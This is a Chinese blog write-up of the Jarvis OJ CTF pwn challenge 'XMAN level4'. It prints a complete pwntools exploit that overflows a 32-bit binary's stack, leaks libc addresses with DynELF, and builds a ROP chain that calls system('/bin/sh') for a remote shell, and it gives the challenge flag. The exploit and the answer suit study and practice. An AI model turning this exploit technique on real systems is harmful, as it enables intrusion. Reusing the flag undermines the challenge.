[XMAN] level4

首先checksec,信息如下

[*] '/root/Desktop/bin/pwn/xman-level4/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

没开栈保护,于是考虑栈溢出。

刚做完stack(ret2libc),看到这题直接就想到泄露libc版本,一开始尝试和stack一样的做法,即泄露read和write函数的地址从而找到远程libc的版本,但是试了一发发现找不到libc版本。。。

然后就用DynELF,得到system的真实地址。用read函数将'/bin/sh\x00'写入bss段,然后通过三次pop调用system函数,参数使用bss地址,即system('/bin/sh')。

exp如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55" from pwn import *
#context.log_level = "debug" #io = process('./level4')
io = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6') #get_system_addr
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main'] def leak(address): payload = flat(['a'*0x88+'f**k', write_plt, main_addr, 1, address, 4])
io.sendline(payload)
data = io.recv(4)
return data dynelf = DynELF(leak, elf=ELF('./level4'))
sys_addr = dynelf.lookup('system', 'libc')
print 'system_addr:', hex(sys_addr) #get_the_shell
bss_addr = 0x0804A024
read_plt = elf.plt['read']
#ROPgadget --binary level4 --only "pop|ret"
ppp_addr = 0x08048509 payload = flat(['a'*0x88+'f**k', read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, 0xdeadbeef, bss_addr ])
io.sendline(payload)
io.sendline('/bin/sh\x00') io.interactive()
#flag:CTF{882130cf51d65fb705440b218e94e98e}

>###作者: LB919
>###出处:http://www.cnblogs.com/L1B0/
>###如有转载,荣幸之至!请随手标明出处;

XMAN-level4的更多相关文章

  1. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  2. XXS level4

    (1)查看PHP源代码 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str ...

  3. Xman资格选拔赛-web

    variacover 这道题一打开就是源码,主要就是根据源码构造url.其中,它接收的参数只有b,但源码中要获取flag的关键参数是a[0].parse_str()函数的作用是把查询字符串解析到变量中 ...

  4. TCGA学习1--下载level3 level4数据

    1.使用firehose_get   下载level3 level4数据 https://confluence.broadinstitute.org/display/GDAC/Download exa ...

  5. xman随机数相关题目

    参加xman夏令营,大佬给我们带来了密码学课程.其中随机数部分感受颇深,记录下几个脚本. 1. 以时间作为种子的随机数 https://www.jarvisoj.com/ 的[xman2019]bab ...

  6. Jarvis OJ - [XMAN]level1 - Writeup

    Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...

  7. [BUUCTF]PWN——level4

    level4 附件 步骤: 例行检查,32位程序,开启了NX保护 运行一下程序,看看大概的情况 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转 输入点在function里 ...

  8. [XMAN筛选赛](web)ctf用户登录

    0x00 题目概述 就只写了几道web题,有些考察点比较明显,所以个人感觉来说web总体不难. 一航的writeup写得差不多,我这写个他没写的wirteup. 看题: 链接点进去是一个登录页面,习惯 ...

  9. Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试

    这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...

随机推荐

  1. Log4j各级别日志重复打印

    使用filter进行日志过滤 这个其实是Log4j自带的方案,也是推荐方案,不知道为什么网上的资料却很少提到这点.把log4j.properties配置文件修改成如下: #root日志 log4j.r ...

  2. LCT总结(LCT,Splay)

    概念.性质简述 LCT(Link-Cut Tree),就是动态树的一种,用来维护一片森林的信息,滋磁的操作可多啦! 动态连边.删边 合并两棵树.分离一棵树(跟上面不是一毛一样吗) 动态维护连通性 维护 ...

  3. 【BZOJ1012】【JSOI2008】最大数(线段树)

    [JSOI2008]最大数 题目描述 现在请求你维护一个数列,要求提供以下两种操作: 1. 查询操作. 语法:Q L 功能:查询当前数列中末尾L个数中的最大的数,并输出这个数的值. 限制:L不超过当前 ...

  4. [HNOI2015]亚瑟王

    题面在这里 题意 \(n\)张卡按照一定顺序排列,每轮从第\(1\)张开始考虑到最后一张,考虑一张卡时有\(p[i]\)的概率产生\(d[i]\)的贡献,产生贡献时直接退出该轮并在之后的考虑中直接跳过 ...

  5. angular+ionic+cordova(实战项目开发中,持续更新自己学到的和遇到的)

    最近公司开始准备做app了,大佬选择了angular+ionic+corvoda的开发结构,但是对于刚刚才开始对angular才有一点点感觉的我,就像是被一击闷棍敲了,半天没反应过来,emmm,怎么办 ...

  6. 从 HelloWorld 看 Java 字节码文件结构

    很多时候,我们都是从代码层面去学习如何编程,却很少去看看一个个 Java 代码背后到底是什么.今天就让我们从一个最简单的 Hello World 开始看一看 Java 的类文件结构. 在开始之前,我们 ...

  7. 运用socket实现简单的ssh功能

    在python socket知识点中已经对socket进行了初步的了解,那现在就使用这些知识来实现一个简单的ssh(Secure Shell)功能. 首先同样是建立两个端(服务器端和客户端) 需求是: ...

  8. 同一台电脑同时装Oracle客户端和服务端

    1.如果之前安装过Oracle,Win+R输入Services.msc,关掉以Oracle开头的服务(卸载Oracle服务端和客户端步骤一样,见另外一篇帖子) 2.Win+R输入regedit打开注册 ...

  9. vue.js 配置移动端的url Scheme和iOS端配置url Scheme

    假如urlScheme:baibai:// 一.vue.js端的配置: 1.通过html标签跳转: <p href="baibai://"></p> 2.通 ...

  10. Loadrunner11不能调用IE8解决方法大全

    刚安装了英文版的Loadrunner 11, 用的是IE8, 开始录制时没有启动IE, 试了网上很多的方法,最终解决了问题.总结一般产生问题的原因如下. 1.当你主机上有多个浏览器时,loadrunn ...